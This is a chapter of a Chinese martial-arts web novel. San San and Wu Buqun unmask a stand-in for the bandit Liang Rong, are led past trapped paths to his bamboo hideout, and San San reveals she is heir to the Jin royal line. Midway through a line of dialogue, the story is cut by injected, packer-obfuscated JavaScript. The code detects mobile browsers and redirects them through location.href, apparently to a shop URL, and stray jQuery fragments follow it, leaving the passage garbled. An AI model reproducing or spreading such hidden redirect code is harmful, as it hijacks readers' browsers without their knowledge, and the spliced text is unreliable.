“好汉、好汉,别打了,别打了!”梁荣抬着手想捂又不敢捂那半边被扇歪了的脸,借着眼角余光见底下的人都醉死在那,根本没有要醒的趋势,心不住地往下沉。
武不群一脚将他踹翻在地,作势要继续打他,吓得那梁荣扑直通跪地求饶。
“好汉!好汉!别打我!我有钱!都给你都给你!”
武不群左右转了转脖子,冷笑道:“爷爷我不要钱,就要你梁荣的命!”
那梁荣这下头磕得更响了,跟疯了一样嘴里不停念叨着“别杀我别杀我”,咚、咚、咚的声音听得三三头皮发麻。
她上前一步阻止了对方继续磕头的动作:“住手,我问你什么你答什么便是,若撒谎骗我等,我即刻将你这条小命给拿了。”
梁荣抬起那通红的肥肉脸,额头上因为磕头太过用力而不住地往下流血,血量之大很快就糊住了他的眼睛。
他用力摸了一把,涕泗横流道:“二位只要不杀我,什么都好说,什么都好说。”
此人如此贪生怕死,与传言中的梁荣判若两人,三三暗自打量他,心中隐约有个猜想。
“你与梁荣是什么关系?”
那梁荣匍匐跪在地上,额头上的血滴滴答答浸满了他脑袋下方的地板。
“是、是……我是梁荣他舅姥爷,是他让我扮作梁荣,说要奉养我,让我在春月楼吃香喝辣的。”
果然如此。
“那真梁荣现在何处?”三三立刻追问。
“他、他在老家猫山村。”
武不群煞有介事地摩挲着下巴:“为何他要你扮作他?”
难道是为了好在背地里行事?还是他自知自己作孽多端,为了避免别人报复,所以立了个靶子在这给人杀?
那假梁荣抬起头小心翼翼露出个笑脸,可他现在脸上一片猩红不说,眼泪鼻涕什么的都混在了一起,还不如不笑。
“我、我是他舅姥爷嘛,那孩子说他能用的人不少,可忠心的没几个,他也不放心让别人来管县里的事情,便说让我来管,对外就说我是梁荣,小事都我说了算,大事的话就回村里找他商量。”
被人当作了活靶子立在跟前都不知道,反倒引以为荣,还沾沾自喜,这也是个神人。
三三无语凝噎片刻,好一会才问:“你叫什么名字?”
“回女侠的话,小人叫王二壮。”
“行,王二壮,”三三点点头,“劳烦你带我们去找梁荣。”
王二壮猛然抬起头,从他那血泪遍布的横肉脸上勉强看出点惊讶:“二位大侠,是找梁荣有什么事吗?若是小事的话,我完全可以做主的!直接找我就行了啊!”
有什么事情直接说不就好了,害得他磕了半天的头,脑瓜子现在都嗡嗡的。
武不群皮笑肉不笑地一把将他从地上拉了起来:“少废话,你做不了主,赶紧带路!”
也就是武不群年纪上来了,要是搁他年轻的时候,这王二壮早就被他卸掉了半边身子,如今还能好声好气同他说话已然是脾气好了不少。
王二壮被他这阴恻恻的笑容给吓得一动不敢动,生怕他腰间佩戴的那把刀下一瞬就出现在自己脖子上。
三三迈步率先出门,微微侧头淡淡道:“还不走是想我请你走吗?”
王二壮被她这侧头吓得一哆嗦,下意识就迈步跟了上去,结果因为刚刚跪得太久,磕头磕得太用力,整个人晕乎乎的,一抬脚就给自己绊倒在地摔了个狗吃屎。
一旁的武不群见状,直接放声大笑了起来,笑声萦绕着整个春月楼,甚至还有回声。
王二壮尴尬地爬了起来,抬手用袖子擦了好几把脸,这才勉强看出个人样。
他弯腰低下身子,单手向前,讨好地看着武不群:“大侠,您先请,您先请。”
武不群挑了下左侧的眉毛,满是戏谑,倒也没说什么。
王二壮应该是经常来猫山村找梁荣,对近道十分之熟悉,约莫走了一个时辰左右就到了那梁荣的老巢。
那梁荣不愧是个极为谨慎的人,老巢竟然是间十分简陋的竹屋,从门口到屋子是条石板路,周遭长了些野草,院子里还种了点菜,看起来极为普通,若不是知晓内情,乍一看还以为是普通老百姓的居所,任是谁也不会想到这里住着那霍乱一方的老贼。
竹屋前面有个十分简单的栅栏,绕着那竹屋围了一圈,正对着几人的是个开了点缝隙的围栏,约莫到三三的腰部那么高,三三手轻轻一推,那围栏竟然就直接倒了。
???
“这是什么意思?”三三不解。
那王二壮苦着脸:“刚刚我没来得及跟您说,这围栏别碰,直接绕到后面进去就成,这围栏只是个摆设,用来提醒梁荣所来之人是敌是友的,若是熟悉的人前来寻他断不会从这边进去。”
“是没来得及说还是压根不想告诉我?”三三抬起剑露出半截剑身,威吓道,“有什么要注意的,一并现在说了,再敢耍花样,我立刻送你归西!”
王二壮被那寒光逼人的剑吓得差点又是扑通跪地,他强撑着身子,咽了咽口水才道:“除了这围栏不能碰,前边的石板路也不能走,那野草里面埋了毒钉子,踩上石板就会触发。”
武不群隔着栅栏探头看了眼里边的石板路,样式中规中矩,根本看不出设了埋伏,这梁荣还是有两下子的。
三三收好剑鞘,冷冷道:“你走前边继续带路。”
王二壮连声应好,带着二人绕到了竹屋的后边,后边还有道黑门,两侧都是围墙,看起来极为严密厚实,不等三三开口,那王二壮就率先拍了门,边拍边喊道:“外甥!你在家不?今儿有点事要来找你商量商量!”
他拍门的力道极大,震得那门板咚、咚作响,约莫过了好一会,里头才传出道浑厚的应答:“在家,等着!”
说罢,门内传来了阵阵的脚步声,武不群耳力非凡,一听就知道里面的人不在少数,他朝三三递了个警醒的眼神。
王二壮揣着手十分老实地站着门前,若不是那张脸红得跟烧猪头一般,旁人多半会以为他只是个来亲戚家串门的闲散人。
三三接收到武不群的眼神提醒后,谨慎地往后面退了两步,与王二壮拉开了一点距离。
脚步声又快又急,甫一停下,门就打开了。
来开门的不是梁荣,而是个上了年纪的大伯。
“梁伯,怎么是你来开门?你那孙子呢?”王二壮丝毫没感受到空气中渐渐拉满的杀意,反而乐呵呵地继续同来人说话。
“我今儿喝酒喝多啦,下楼时歪了一脚结果给我磕成了这样,嗨,我大外甥在干嘛呢?有两位贵客想要见他。”
梁伯须发皆白,一双浑浊的老花眼不住地往三三和武不群身上打量,王二壮想去攀他肩膀套近乎,结果被人给闪身躲开了。
“我家主人说了,既然是贵客
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245149|197864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,就要好好招待,二位请进。”梁伯侧过身子摊手做了个请的姿势。
王二壮也跟着道:“对嘛对嘛,贵客快请进快请进。”
武不群抬了抬自己的草笠,那胡子拉碴的脸上露出个笑:“我等冒昧前来,梁大人不计较还如此热情,真是让我等惶恐啊。”
梁伯笑了笑,请的姿势却没变:“贵客说笑了,主人已经在前厅等着了。”
武不群颔首,在三三迈步之前率先进了门。
从前边看,那小竹屋不过是平平无奇的农民居房,但绕到了后面却是别有洞天,高墙结实,墙上竟然还有类似于垛口的建造,进了门之后三三才发现,通往前厅的路上也有条石板路,只不过边上没有野草罢了。
她跟在武不群身后,暗中打量着周围的布置。
梁伯领着人站在前厅,只见主座上高高坐着位肤色黝黑的中年男人,四肢健硕,眼底满含煞气,他面目表情地看着武不群和三三,待梁伯进了厅前,才朗声笑着开口:“二位贵客远道而来,所为何事啊?”
王二壮像个鹌鹑一样缩在一边不敢吭声,梁荣扫了他一眼便不再理会他。
武不群扯着嘴角露出个笑:“武某是奉命前来与大人商讨要事,还请大人屏退左右。”
梁荣双腿岔开,手搁在腿上,谨慎地打量着对面的一男一女:“奉命?奉谁的命?”
武不群不怵他的威亚,似笑非笑道:“那要看梁大人认为自己是大晋人还是大楚人了。”
梁荣掀起眼皮,眼神里满是警惕,衣服下的胳膊肌肉霎那间突起,仿佛下一瞬就要暴起与武不群厮杀出个你死我活。
但很快,那衣服又瘪了下去,梁荣看向梁伯,仰了仰下巴,示意他带着王二壮退下。
梁伯点了点头,带着那鹌鹑转身出了前厅,又挥了挥手屏退了前来添茶倒水的侍女。
见人都退下了,梁荣这才站起身来,脸上露出了点笑意,但他眼底的煞气却丝毫不减,虽已上了年纪,但他体格依旧健硕,一看就是常年都有在练武的缘故。
他上前两步,似是一直没有看到武不群身后的三三,诧异道:“这位姑娘是?”
梁荣作势要上前细细查看,武不群却在下一刻拎起了腰间的刀鞘横在身前:“大人,注意分寸。”
梁荣丝毫不在意他的警告,手压在刀鞘上冷笑了声:“分寸?这是我的地盘,我要注意什么分寸?你们二人前来所为何事?是要杀我?”
三三半边身子隐在武不群身后,她面无表情地盯着对方:“梁荣,你是否还认大晋校尉的身份?”
施压刀鞘上的压力骤然减小,她能这么问,自然也是大晋的人。
梁荣收回手,笑道:“自然是认的,太傅当年也这么问过我,我若是不认,又怎么会一直帮着太傅暗中搜寻大晋人呢?”
若不是他一直在暗中搜寻大晋人,这场动乱还真闹不起来,梁荣在心底冷笑了声,那程书口口声声说找到了晋王皇嗣,可却迟迟不肯揭竿而起匡复大晋,与其等那虚无缥缈的皇嗣率领起兵,不如他自己来。
三三自是不知道他心底的那些小九九,从腰间拿出了那块玉佩亮在梁荣跟前:“我是晋王后人,此玉佩是当年我父交予我母,我母再转交于我的。”
梁荣瞳孔微张,瞧见那玉佩上的龙纹花样后便作势低下了头,旋即单膝下跪,双手合抱,中气十足地喊了声:“微臣眼拙,还请殿下恕罪!”